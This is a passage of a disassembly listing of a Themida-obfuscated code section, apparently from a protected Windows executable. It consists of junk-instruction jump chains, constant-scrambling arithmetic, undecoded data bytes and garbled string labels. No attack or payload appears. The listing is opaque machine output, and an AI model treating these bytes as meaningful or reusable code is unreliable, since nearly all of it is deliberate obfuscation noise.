		dd 5BD88958h, 616BE56h,	0F001226Ah, 0CA3E95Eh, 4810000h
		dd 424h, 0B9515D00h, 48ED2BAAh,	2BAEF181h, 0CD0148EDh
		dd 2C58159h, 55000000h,	6E07E9h, 0E3BB5300h, 43665932h
		dd 0D3F7D3F7h, 75D8F381h, 0C3814735h, 23EFE968h, 815BDF89h
		dd 0EC4D7AF7h, 255EE957h, 0C6810000h, 4, 8704EE83h, 895C2434h
		dd 0B9512434h, 6DD57056h, 7DE9D1F7h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547BF7:				; CODE XREF: Themida_:0054B110j
		push	eax
		dec	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		not	eax
		add	eax, 9FC71E2Fh
		jmp	loc_548EB1
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0B5E95B04h, 0E9000086h, 0FFFFE8CFh
dword_547C1C	dd 57E68956h, 4BFh, 0E9FE0100h,	10D3h, 23B6E68h, 0BD555860h
					; DATA XREF: Themida_:0054625Co
		dd 393ACE90h, 0E95DE829h, 0FFFFF35Dh
; ---------------------------------------------------------------------------


loc_547C40:				; CODE XREF: Themida_:00547DA0j
		xchg	edx, [edi+24h]


loc_547C43:				; CODE XREF: Themida_:0054A62Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_548A80
; ---------------------------------------------------------------------------
		db 59h
		dd 1F60E9h, 764DBE00h, 0F6814FCDh, 581F16D2h, 5206EEC1h
		dd 376CAFBAh, 69CA814Ah, 81036547h, 0D71F6AEAh,	6EAC113h
		dd 0CCDCC281h, 0D60118F6h, 989CE9h, 4C78100h, 87000000h
		dd 32E9243Ch
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547CAB:				; CODE XREF: Themida_:0054EEC0j
		push	4869h
		mov	[esp], edi
		mov	edi, 7B0555BCh
		inc	edi
		shr	edi, 7
		inc	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 795F3379h
		not	ebx
		xor	ebx, 25E24E5Fh
		jmp	loc_5517EC
; ---------------------------------------------------------------------------
		dw 2868h
		dd 89000018h, 0ECE9241Ch, 0E9000012h, 0FFFFE7F7h, 4C481h
		dd 34FF0000h, 0C4815924h, 4, 0FFE7E2E9h, 28BE04FFh, 5BBE2CD8h
		dd 8F45E9h, 4C18100h, 83000000h, 0C8704C1h, 22E95C24h
		dd 100002Bh, 10F9E9FAh,	0E9810000h, 0DB9DBC4h, 2437E9h
		db 0
byte_547D39	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00546264o
		dd 0E6895624h, 4EC81h, 3C890000h, 593BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547D4E:				; CODE XREF: Themida_:00551E55j
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 10EC1544h
		inc	edx
		dec	edx
		sub	edx, 10EC1540h
		add	esi, 3DF16A68h
		jmp	loc_54F842
; ---------------------------------------------------------------------------
aUs0		db 'UИв0',0
		db 0
; ---------------------------------------------------------------------------


loc_547D75:				; CODE XREF: Themida_:00546815j
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54EA83
; ---------------------------------------------------------------------------


loc_547D8B:				; CODE XREF: Themida_:0054791Ej
		xor	eax, 7315574Fh
		sub	eax, 1
		xor	eax, 10AAA8F1h
		add	eax, edi
		xor	[eax], edx
		pop	eax
		inc	edx
		jmp	loc_547C40
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 3C330000h, 243C3124h, 8B243C33h, 0D3662424h
		dd 0E99C2404h, 0FFFFE727h
dword_547DC4	dd 582434FFh, 56F68h, 736BE900h	; DATA XREF: Themida_:005462B0o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547DD2:				; CODE XREF: Themida_:0054ED28j
		pop	edx
		xor	bh, al
		pop	eax
		sub	dl, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	bh, 3Bh
		inc	bh
		neg	bh
		shl	bh, 8
		add	bh, 30h
		sub	al, bh
		pop	ebx
		sub	al, dl
		add	al, 30h
		pop	edx
		push	2675h
		mov	[esp], ecx
		mov	cl, 7Fh
		shr	cl, 5
		shr	cl, 1
		push	bx
		push	3F5Ch
		mov	[esp], eax
		jmp	loc_551A49
; ---------------------------------------------------------------------------


loc_547E12:				; CODE XREF: Themida_:005466A9j
		push	38922AD1h
		pop	eax
		jmp	loc_546880
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 0C1h
		dd 0CE8107EEh, 754E0812h, 0E6C1DEF7h, 4CEE8104h, 0E9A20D40h
		dd 6CC4h, 0A807E955h, 0C6810000h, 4, 0E904C683h, 81DCh
aN1Sscr		db '╜1ьSИ√R',0          ; DATA XREF: Themida_:00546458o
		dd 4C68100h, 0E9000000h, 6519h,	7CE9EA00h, 1000055h, 7EBF57C8h
		dd 2D17D22Ah, 4CC030FFh, 3EABE9h, 5AD52900h, 4635E9h
		db 0
; ---------------------------------------------------------------------------


loc_547E81:				; CODE XREF: Themida_:0054AA46j
		xor	edi, 7CFF7E7Dh
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_54774D
; ---------------------------------------------------------------------------
		dd 24343359h, 33243431h, 5E92434h, 100005Fh, 0BE565AD1h
		dd 4, 875EF101h, 248B240Ch, 2434FF24h, 8324148Bh, 895604C4h
		dd 33B951E6h, 0E928F259h, 3CBBh, 8861F280h, 26E95AD0h
		dd 1FFFFF1h, 0C2835DEAh, 24148704h, 0E5FDE95Ch,	0F659FFFFh
		dd 80CAFED2h, 19B776C2h, 2AE9D728h, 8B000074h, 0C481240Ch
		dd 4, 4C181h, 0C1810000h, 4, 0E9240C33h, 66B7h,	46DEF75Fh
		dd 0EF20E946h, 0F766FFFFh, 0EA8166DAh, 8966F6B0h, 46665AD6h
		dd 1FEE8166h, 460BE9B3h, 0C8B0000h, 8B03E924h, 68570000h
		dd 7D3403BBh, 93BB535Fh, 317D3403h, 0F8895BDFh,	2824E9h
		dd 8BD03100h, 0C4832414h, 0D1C38104h, 814F6026h, 0AF711CC3h
		dd 8FEB8160h, 0E90DA96Fh, 774Ch, 5D59CA31h, 88D5BD55h
		dd 0EA81FB11h, 6A5E2ED1h, 19A4E9h, 24348B00h, 8F04C483h
		dd 248B2404h, 4979E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547FA2:				; CODE XREF: Themida_:00549B47j
		mov	[esp], eax
		push	5F39h
		jmp	loc_548A95
; ---------------------------------------------------------------------------
		db 0FEh
		dd 35CB80C3h, 3008EB80h, 0ED805BDDh, 0E9D5F601h, 1873h
		dd 67C8B951h, 0ADE91B93h, 31FFFFFFh, 97E9240Ch,	57000008h
		dd 0A84E3EBFh, 7EFABE22h, 0FE3104A3h, 0FFFF33E9h, 35B753FFh
		dd 20E9CFFEh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547FF3:				; CODE XREF: Themida_:00551698j
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		mov	ebx, 0ABB7889h
		shl	ebx, 2
		push	46B7h
		mov	[esp], eax
		push	esi
		mov	esi, 2B3431A2h
		mov	eax, 4E732C22h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		and	ebx, eax
		jmp	loc_547A02
; ---------------------------------------------------------------------------


loc_548030:				; CODE XREF: Themida_:0054E535j
		pop	esi
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_54B6E7
; ---------------------------------------------------------------------------
		db 81h
		dd 9D0E7BEBh, 61BA522Ah, 0E9400E02h, 348Bh
; ---------------------------------------------------------------------------


loc_548058:				; CODE XREF: Themida_:0054851Dj
		xor	eax, 5C9F68A8h
		xor	eax, 4AA7152Eh
		jmp	loc_54EA38
; ---------------------------------------------------------------------------


loc_548067:				; CODE XREF: Themida_:0054AAB9j
		mov	ecx, 0D4447BEh
		xor	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	edi
		jmp	loc_54F045
; ---------------------------------------------------------------------------
		db 83h
		dd 3E6804C4h, 8900007Ah, 8B542434h, 0C4832434h,	8208E904h
		dd 66530000h, 6639C568h, 0EBC1665Bh, 0EB816606h, 8966BC77h
		dd 0C1665BDEh, 0EC8102EEh, 4, 66240489h, 571CE1B8h, 44A3BF66h
		dd 52EF8166h, 0EF816658h, 3166B2C3h, 66515FF8h,	6635A9B9h
		dd 302EF181h, 82BCE9h, 0F8E95600h, 2DFFFFFEh, 6AAA7843h
		dd 79E9D801h, 53FFFFF7h, 0D82F01BBh, 45E9524Eh,	8700006Bh
		dd 0E92404h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5480FF:				; CODE XREF: Themida_:00549818j
		mov	edx, ecx
		mov	ebp, edx
		jmp	loc_54C08F
; ---------------------------------------------------------------------------
aPXXse8		db 'P╟X фXИE8',0
		dw 100h
		dd 48B5DEBh, 0E0895024h, 405h, 4A1BE900h, 0F5800000h, 3AB353A2h
		dd 0BCF380h, 9D24E9DDh,	0C5890000h, 3CE95658h, 68000032h
		dd 3E2Ah, 24048F54h, 4240481h, 8B000000h, 5D68241Ch, 89000012h
		dd 0E189240Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 4BD55h
		dd 13E90000h, 8B00004Ch, 0C6012424h, 3AF5E9h, 0E0C14800h
		dd 1C08307h, 0BD55D8F7h, 0BA30549Ch, 295DE831h,	555A58C6h
		dd 2BDh, 5DEE0100h, 8B243487h, 24D32424h, 0C0E99C24h, 81000044h
		dd 2E72BFE5h, 0FBED814Eh, 1C647A4h, 0CB895DE9h,	0FFFD79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5481C5:				; CODE XREF: Themida_:00551021j
		push	dword ptr [ebx]
		push	dword ptr [esp]
		jmp	loc_550F1F
; ---------------------------------------------------------------------------
		db 0B6h
		dd 51506687h, 57E973B5h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5481DB:				; CODE XREF: Themida_:0054CA6Dj
		pop	eax
		mov	eax, ebp
		jmp	loc_54B174
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 4EC8104h, 0E9000000h, 23ACh, 0BF243C89h
		dd 4, 875FFB29h, 92E9241Ch, 8B00004Fh, 0E9572404h, 0FFFFEC55h
		dd 241C335Ch, 33241C31h, 3DE9241Ch
		db 0F1h, 2 dup(0FFh)
byte_54821F	db 0FFh			; DATA XREF: Themida_:0054646Co
		dd 0C8B2434h, 4C48324h,	8023E9h, 6AE95600h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548233:				; CODE XREF: Themida_:0054B8D0j
		mov	ebp, 60AC6201h
		dec	ebp
		and	ebp, 319E7BDBh
		add	ebp, 0FB24827Eh
		xor	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		push	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6F8962FDh
		shr	edx, 6
		xor	edx, 164B7F25h
		push	ebp
		jmp	loc_5504F1
; ---------------------------------------------------------------------------
aIHvx		db '┴<$h┌x',0
		dd 24248900h, 4240481h,	5F000000h, 4B951h, 0CF010000h
		dd 51240C8Bh, 0C181E189h, 4, 4BB53h, 0D9010000h, 240C875Bh
		dd 796AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5482B1:				; CODE XREF: Themida_:0054F00Ej
		push	eax
		jmp	loc_5511BB
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C481h, 0C6810000h, 4, 5602C683h, 42474FFh, 0FFFCC0E9h
		db 0FFh
byte_5482D1	db 66h,	8Bh, 4		; DATA XREF: Themida_:005463C0o
aHb		db '$h│\',0
		align 2
aISzc		db '┴,$И┤C',0
		align 2
		dw 0BB53h
		dd 647B6860h, 8103EBC1h, 0FC4846E3h, 5F686865h,	3C890000h
		dd 0DCFBF24h, 0EFD13242h, 3A89C781h, 28E9451Ah,	66000009h
		dd 5468665Bh, 1489662Eh, 0E9535024h, 309Bh
; ---------------------------------------------------------------------------


loc_54831C:				; CODE XREF: Themida_:0054F670j
		shl	ebx, 5
		shl	ebx, 2
		push	4B85h
		mov	[esp], ebp
		push	edi
		push	669C2CA0h
		pop	edi
		not	edi
		shl	edi, 5
		shr	edi, 1
		add	edi, 0F18BF99Fh
		jmp	loc_5513B1
; ---------------------------------------------------------------------------


loc_548343:				; CODE XREF: Themida_:0054D12Dj
		shr	eax, 0Ch
		xor	eax, ecx
		push	262h
		mov	[esp], eax
		push	4C97h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54E83E
; ---------------------------------------------------------------------------
		db 0BEh, 0D4h, 59h
		dd 4FE90FBBh, 83FFFFE2h, 0C38104C4h, 4,	4C381h,	1C870000h
		dd 4581E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548386:				; CODE XREF: Themida_:00550115j
		xor	eax, ebp
		pop	ebp
		push	ebp
		jmp	loc_54F978
; ---------------------------------------------------------------------------
byte_54838F	db 66h			; DATA XREF: Themida_:00546228o
		dd 68240C8Bh, 768Bh, 0E9241C89h, 3D42h
; ---------------------------------------------------------------------------


loc_5483A0:				; CODE XREF: Themida_:0054F453j
		mov	ebx, 390E1A47h
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		inc	ebx
		push	edi
		mov	edi, 1
		sub	ebx, 50D4335Ah
		add	ebx, edi
		add	ebx, 50D4335Ah
		pop	edi
		jmp	loc_549A5B
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 48230B8Ah, 0CB5F862Dh, 0E9E82901h, 22E1h
; ---------------------------------------------------------------------------


loc_5483D8:				; CODE XREF: Themida_:0054AB59j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_54BAEB
; ---------------------------------------------------------------------------
		dd 2B8h, 58C70100h, 0E9243C87h,	3D6Dh
; ---------------------------------------------------------------------------


loc_5483FC:				; CODE XREF: Themida_:0054EE62j
		pop	ebp
		jmp	loc_546CD8
; ---------------------------------------------------------------------------


loc_548402:				; CODE XREF: Themida_:0054AEB2j
		xor	ebp, 7EA9CA10h
		push	ebp
		pop	esi
		jmp	loc_54B817
; ---------------------------------------------------------------------------


loc_54840F:				; CODE XREF: Themida_:0054746Bj
		add	edi, 4
		jmp	loc_54AEEE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 2BEh, 0F4E95100h,	56000002h, 982928BEh, 5EF0015Ch
		dd 282DC801h, 595C9829h, 0C1C68h, 240C8900h, 639FE957h
		dd 525B0000h, 490EE9h, 7DB22D00h, 0D0296B71h, 717DB205h
		dd 0D8295A6Bh, 942AE9h,	0ECE95000h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54846B:				; CODE XREF: Themida_:0054DF49j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_54CB6F
; ---------------------------------------------------------------------------
		dd 0B3B85053h, 0C1183C32h, 0E8C103E8h, 3E8C104h, 964A490Dh
		dd 49230555h, 0C8E96706h, 50000069h, 73C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5484A5:				; CODE XREF: Themida_:0054D634j
		push	dword ptr [esp]
		pop	eax
		push	7BA3h
		jmp	loc_551646
; ---------------------------------------------------------------------------
aNvsR		db '╜VИ\R',0            ; DATA XREF: Themida_:0054639Co
		align 2


loc_5484BA:				; CODE XREF: Themida_:0054952Dj
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	ecx
		sub	esp, 4
		push	esp
		jmp	loc_54F458
; ---------------------------------------------------------------------------


loc_5484DE:				; CODE XREF: Themida_:0054A490j
		add	esp, 2
		neg	cl
		and	cl, 63h
		push	ebx
		mov	bl, 74h
		add	bl, 79h
		jmp	loc_550CB9
; ---------------------------------------------------------------------------
		db 68h,	31h, 6Ah
		dd 14890000h, 1BB45024h, 0E904E4C0h, 79h
; ---------------------------------------------------------------------------


loc_548504:				; CODE XREF: Themida_:0054DAB2j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		mov	eax, 606342E1h
		shr	eax, 2
		jmp	loc_548058
; ---------------------------------------------------------------------------
word_548522	dw 2C31h		; DATA XREF: Themida_:00546210o
		dd 242C3324h, 2613E9h, 242CD300h, 0DFB5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548536:				; CODE XREF: Themida_:00549EFFj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_54F20D
; ---------------------------------------------------------------------------
		dd 53242489h, 4BBh, 245C0100h, 348B5B04h, 4C48324h, 0FFF8DFE9h
		dd 243C87FFh, 0FFEB15E9h, 2434FFFFh, 5324048Bh,	0EC81E389h
		dd 4, 0BD242C89h, 0C302DEBh, 0FFE4CBE9h, 80CCFEFFh, 0F48085CCh
		dd 91CEE963h, 0C2810000h, 0FC20332Dh, 295AD789h, 0EEEE9FBh
		dd 58660000h, 9044E9h
		db 0
; ---------------------------------------------------------------------------


loc_5485A1:				; CODE XREF: Themida_:0054B073j
		add	ebp, 235B56FBh
		sub	ebp, eax
		sub	ebp, 235B56FBh
		jmp	loc_54F44E
; ---------------------------------------------------------------------------
		dd 0CCB60F66h, 36196866h, 240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFFDF1Fh, 4BD55h, 8E90000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5485D7:				; CODE XREF: Themida_:0054B8A7j
		or	ecx, ebx
		jmp	loc_54B39A
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C1h, 4E98300h, 5C240C87h, 9C43E9h, 0F2875900h, 0F287DEF7h
		dd 4208EAC1h, 0C283E2D1h, 0A1EA81FFh, 101CC5Bh,	2FE95AD5h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54860F:				; CODE XREF: Themida_:005465B2j
		and	ebx, 0F642DC6h
		push	ecx
		mov	ecx, 28256FDBh
		jmp	loc_547779
; ---------------------------------------------------------------------------
		dd 505AF530h, 0C628C1B0h, 80EE0058h, 3059C1C6h,	0B2525AF0h
		dd 5AD30042h, 6AB05066h, 285AEB80h, 5AC380C3h, 0EB805866h
		dd 80C32885h, 0C38085C3h, 9FB2526Ah, 2AE95351h,	5900003Bh
		dd 46B9C381h, 0DBF73889h, 0C381D3F7h, 5CF65F71h, 562E9h
		dd 24048900h, 0E130D1B4h, 4F06E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54867E:				; CODE XREF: Themida_:0054B33Cj
		pop	ebx


loc_54867F:				; CODE XREF: Themida_:0054DCADj
					; Themida_:loc_54FB9Bj
		push	dword ptr [edi+24h]
		push	eax
		push	ebp
		push	643C2D2Fh
		pop	ebp
		push	ebx
		mov	ebx, 0CF94F45h
		jmp	loc_549DB5
; ---------------------------------------------------------------------------
		db 68h,	0EDh, 4Eh
		dd 81591167h, 674EE9E9h, 0BAE95111h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5486A7:				; CODE XREF: Themida_:0054EC6Aj
		inc	eax
		dec	eax
		jmp	loc_54DA7E
; ---------------------------------------------------------------------------


loc_5486AE:				; CODE XREF: Themida_:0055057Dj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		push	5A0C3316h
		jmp	loc_54DFF4
; ---------------------------------------------------------------------------
		db 31h,	0F7h, 5Eh
		dd 0EF81D7F7h, 0C70486E2h, 815FFB01h, 4C3h, 74FF5300h
		dd 8F5B0424h, 0E95C2404h, 0FFFFDDFFh, 0E9240C89h, 1A10h
		dd 5702EDC1h, 9FA6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5486FD:				; CODE XREF: Themida_:00546F91j
		add	esp, 4
		push	eax
		jmp	loc_54B10B
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 7Bh
		dd 1AFCF77h, 0DD015EF5h, 576FED81h, 36E95FBFh, 0B900006Ch
		dd 0F0C5921h, 5DB8E981h, 0E98130EAh, 511D4BAAh,	7E04F181h
		dd 0E9810394h, 5E1475A7h, 8F18149h, 12D380Dh, 0DE04E9CAh
		db 2 dup(0FFh)
word_54874A	dw 77FFh		; DATA XREF: Themida_:00546238o
		dd 58669D1Ch, 24041166h, 0DD91E99Ch, 0C481FFFFh, 4, 8B24048Fh
		dd 0F662424h, 9C2404BBh, 0FFDD7AE9h, 4E981FFh, 894B6F4Eh
		dd 0FE73E9CAh, 0B951FFFFh, 444B1875h, 23FBF181h, 0C18118A3h
		dd 404B5434h, 0E981D1F7h, 62CC7039h, 960AE9h
		db 0
byte_54879D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00546408o
		dd 0E87EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5487A6:				; CODE XREF: Themida_:005464ECj
		add	al, 58h
		sub	al, 3Ch
		jmp	loc_546696
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9522424h, 0FFFFFA17h
dword_5487B8	dd 0E924248Bh, 0FFFFDD2Bh, 8836B652h, 0D5005AF5h, 1C01E95Ah
					; DATA XREF: Themida_:00546390o
		dd 0D1490000h, 35C181E9h, 0E95F449Ah, 16E4h, 2046F181h
		dd 0E98113CBh, 51A91B84h, 1DC6C981h, 0E0E929A7h, 5B000059h
		dd 59F768h, 24348900h, 9054E9h
		db 0
byte_548801	db 64h,	66h, 8Bh	; DATA XREF: Themida_:005463B0o
		dd 3AABE902h, 0EFC10000h, 205AE905h, 0BE560000h, 2, 6DBB5351h
		dd 81655640h, 7355BACBh, 43E3D10Bh, 5A4FC381h, 0D9899EE7h
		dd 1607E9h, 42870500h, 0C22922FAh, 9F22E9h, 81EA0100h
		dd 0C17C71C2h, 242C8B68h, 94DAE9h, 24148B00h, 74D768h
		dd 24048900h, 405E089h,	0E9000000h, 1A22h
; ---------------------------------------------------------------------------


loc_548868:				; CODE XREF: Themida_:00547071j
		push	edi
		jmp	loc_54CCB4
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 24248B24h, 0E9241489h, 96C2h
; ---------------------------------------------------------------------------


loc_54887C:				; CODE XREF: Themida_:00551BA4j
		pop	ebp
		sub	ebp, 7BD523Dh
		jmp	loc_54B065
; ---------------------------------------------------------------------------
		dd 0D224248Bh, 0E99C242Ch, 0FFFFDC57h, 0C5E910B7h, 8700004Dh
		dd 248B2404h, 242C8924h, 0B8DF4BDh, 8FBE5600h, 81596F40h
		dd 84F681EEh, 5EF02926h, 966BA62Dh, 51FAE90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5488C2:				; CODE XREF: Themida_:0054CD2Dj
		add	ebx, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54FC90
; ---------------------------------------------------------------------------


loc_5488DF:				; CODE XREF: Themida_:00547334j
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_55039F
; ---------------------------------------------------------------------------


loc_5488E8:				; CODE XREF: Themida_:005469A7j
		mov	edi, 0D400A035h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 3F550CC4h
		add	eax, edi
		push	ebx
		mov	ebx, 3F550CC4h
		jmp	loc_54A163
; ---------------------------------------------------------------------------
byte_548907	db 66h			; DATA XREF: Themida_:00546278o
		dd 8124048Bh, 4ECh, 24348900h, 6368E689h, 89000078h, 69B9240Ch
		dd 5121547Fh, 592414F7h, 0E9C1D1F7h, 4EC8304h, 0BE243489h
		dd 4D681C2Ch, 66B9514Eh, 0C10F3847h, 0C18108E1h, 0F647C22Fh
		dd 4FA3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54894D:				; CODE XREF: Themida_:00550352j
		push	ebx
		mov	ebx, esp
		jmp	loc_549DF0
; ---------------------------------------------------------------------------
byte_548955	db 68h,	85h, 7Dh	; DATA XREF: Themida_:0054633Co
		dd 24890000h, 3DA26824h, 34890000h, 4BE24h, 44810000h
		dd 2A480424h, 740124A1h, 6C810424h, 2A480424h, 49E924A1h
		dd 0FF00001Fh, 348B2434h, 4C48124h, 51000000h, 571CE9h
		db 0
byte_548995	db 8Bh,	4, 24h		; DATA XREF: Themida_:0054636Co
		dd 8904EC83h, 5954240Ch, 87EAE9h, 82E95C00h, 81FFFFFBh
		dd 4ECh, 24148900h, 0C6807AB6h,	0E9D6F6FFh, 44A7h
dword_5489C0	dd 0E932FF66h, 0FFFFDB23h ; DATA XREF: Themida_:00546370o
; ---------------------------------------------------------------------------


loc_5489C8:				; CODE XREF: Themida_:0054A6B4j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_54DCA8
; ---------------------------------------------------------------------------
		db 0BFh, 2 dup(30h)
		dd 0F93109A4h, 81243C8Bh, 4C4h,	5F250500h, 0C8010B5Ah
		dd 5A5F252Dh, 240C8B0Bh, 4C481h, 2050000h, 50000000h, 42474FFh
		dd 24048F58h, 48B665Ch,	0E2895224h, 292CE9h, 41696800h
		dd 0A4E90000h, 0BD000001h, 77437CAh, 215DEA89h,	0CDE95AD6h
		dd 89000082h, 0FF542404h, 0E9582434h, 2EEEh, 273CCE81h
		dd 0F6810369h, 271A637Eh, 0D2DEE81h, 0F301D02Dh, 0DC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_548A55:				; CODE XREF: Themida_:0054EC05j
		add	esp, 4
		add	ecx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 0FEE119B8h
		and	eax, ecx
		pop	ecx
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_546C64
; ---------------------------------------------------------------------------


loc_548A80:				; CODE XREF: Themida_:00547C62j
		push	83Bh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_54D6DA
; ---------------------------------------------------------------------------


loc_548A95:				; CODE XREF: Themida_:00547FAAj
		mov	[esp], edi
		push	691A7B09h
		mov	edi, [esp]
		add	esp, 4
		add	edi, 6D4D18B7h
		jmp	loc_546797
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 87D0E9h, 2AC68100h, 5B746E0Ch, 0E9243433h, 0FFFFDEB4h
		dd 6F25EA81h, 0C229136Ah, 6F25B951h, 2AE9136Ah
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548ADB:				; CODE XREF: Themida_:00550A64j
		push	1A3717AFh
		pop	edi
		jmp	loc_5465D7
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 5E9F7FA2h, 0FFF622E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548AF1:				; CODE XREF: Themida_:0054F76Bj
		pop	edi
		jmp	loc_547326
; ---------------------------------------------------------------------------
		db 57h
		dd 0C7815F54h, 4, 4C781h, 3C870000h, 0DB60E924h, 0BA04FFFFh
		dd 0FE688B04h, 89000013h, 0B050241Ch, 301FB7F1h, 24048BC7h
		dd 2C04C483h, 4F800AEh,	241C8BAEh, 0E95F5457h, 0C90h, 8704EF83h
		dd 895C243Ch, 0CBBF243Ch, 0E971F14Bh, 81D6h
; ---------------------------------------------------------------------------


loc_548B4C:				; CODE XREF: Themida_:0054DB68j
		push	eax
		push	ebp
		push	70AA1538h
		pop	ebp
		add	ebp, 17C20475h
		sub	ebp, 7E1AB7D5h
		mov	eax, ebp
		pop	ebp
		add	eax, 1
		jmp	loc_54DA8B
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 74E92404h
		db 0D9h, 2 dup(0FFh)
byte_548B77	db 66h			; DATA XREF: Themida_:005462A4o
		dd 81240C8Bh, 4ECh, 242C8900h, 0B7685D54h, 89000052h, 4B682404h
		dd 8900001Ch, 6568240Ch, 5957FE7Ch, 251C181h, 0FF515640h
		dd 0E959240Ch, 0FFFFEBFFh, 685BD801h, 7883h, 0FF240489h
		dd 8B042474h, 94E92404h, 89000047h, 52E9240Ch, 80000067h
		dd 0D9E9DAEBh, 1000024h, 55565BDAh, 0FD27B868h,	0CD815D45h
		dd 4A8639F5h, 3AABE9h
		db 0
aM0FrSsw6	db '╛0ьfR╤≤ИW6',0       ; DATA XREF: Themida_:00546398o
		dd 24248B00h, 3C4FE9h
		db 0
byte_548BFD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005462D0o
		dd 3C106824h, 9BE90000h, 4000014h, 422C8Eh, 2C4204D0h
		dd 8BCE98Eh, 89570000h,	4C781E7h, 0E9000000h, 0FFFFF075h
; ---------------------------------------------------------------------------


loc_548C28:				; CODE XREF: Themida_:005490CFj
		sub	edx, 3DFE53BAh
		jmp	loc_54D8FF
; ---------------------------------------------------------------------------
		db 21h
		dd 0EBC15FFBh, 23ADE904h
